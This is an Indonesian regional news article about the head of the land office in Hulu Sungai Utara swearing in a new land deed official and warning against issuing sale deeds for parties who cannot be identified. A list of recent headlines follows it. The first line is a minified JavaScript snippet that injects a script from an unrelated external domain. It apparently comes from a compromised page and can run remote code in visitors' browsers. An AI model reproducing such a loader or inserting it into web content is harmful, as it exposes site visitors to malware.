(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Kepala BPN HSU : PPAT Jangan Sembarang Terbitkan Akta Jual Beli Tanah


AMUNTAI, Kepala Badan Pertanahan Nasional (BPN) HSU Ahmad Suhaimi mengingatkan Pejabat Pembuat Akta Tanah (PPAT) lebih cermat dan teliti dalam bekerja, serta tidak mudah membuat akta jual beli yang tidak jelas penjual dan pembelinya.

Hal tersebut diungkapkan Kepala BPN HSU setelah melantik PPAT di Aula Kantor BPN Kabupaten HSU, Rabu (21/11)

Pelantikan PPAT merupakan suatu keharusan bagi seseorang yang dinyatakan lulus sebagai PPAT, sebab sejak mulai dilantik PPAT bersangkutan mempunyai kewenangan atau legal standing untuk berbuat sesuai hukum terkait dengan segala kegiatan yang berkaitan.

“Kepada PPAT yang baru dilantik agar bekerja dengan lebih cermat dan teliti,” ujarnya.

Suhaimi berpesan agar PPAT dapat memperhatikan dengan cermat segala tahapan proses pembuatan akta-akta jual beli, serta tidak akan melakukan pembuatan akta jual beli terhadap kasus yang tidak jelas penjual atau pembelinya.

“Jangan pernah sekali-kali membuatkan akta jual beli yang pembeli atau penjualnya tidak diketahui keberadaannya, hindari memakai keterangan palsu dengan cara perbuatan hukumnya harus benar-benar dihadapan pejabat pembuat akta tanah,” tegasnya.

Ia mengaku persoalan pertanahan di Kabupaten HSU terbilang sangat kondusif karena kordinasi dengan pemerintah daerah, kepolisian, kejaksaan dan lintas sektor lainnya berjalan dengan baik, oleh karenanya diharapkan kondisi ini akan terus dapat dipertahankan.

Sekadar diketahui, selama ini Kabupaten HSU hanya memiliki satu orang PPAT dan satu orang notaris. Sehingga diharapkan melalui penambahan PPAT dapat mempermudah segala proses yang berkaitan dengan akta, serta tidak ada lagi proses jual beli yang bersifat di bawah tangan.

“Kami berharap kedepannya pejabat pembuat akta tanah dan notaris di HSU dapat bertambah lagi, sehingga ada 5 orang PPAT dan notaris yang ada di Kabupaten HSU,” pungkasnya.

PPAT yang dilantik untuk wilayah kerja Kabupaten HSU yakni Ahmad Rijali SH MKn disaksikan pegawai BPN HSU, perwakilan bank mitra serta undangan lainnya. (dew)

Reporter : Dew
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

6 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

6 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

9 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

15 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

16 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

18 jam ago

This website uses cookies.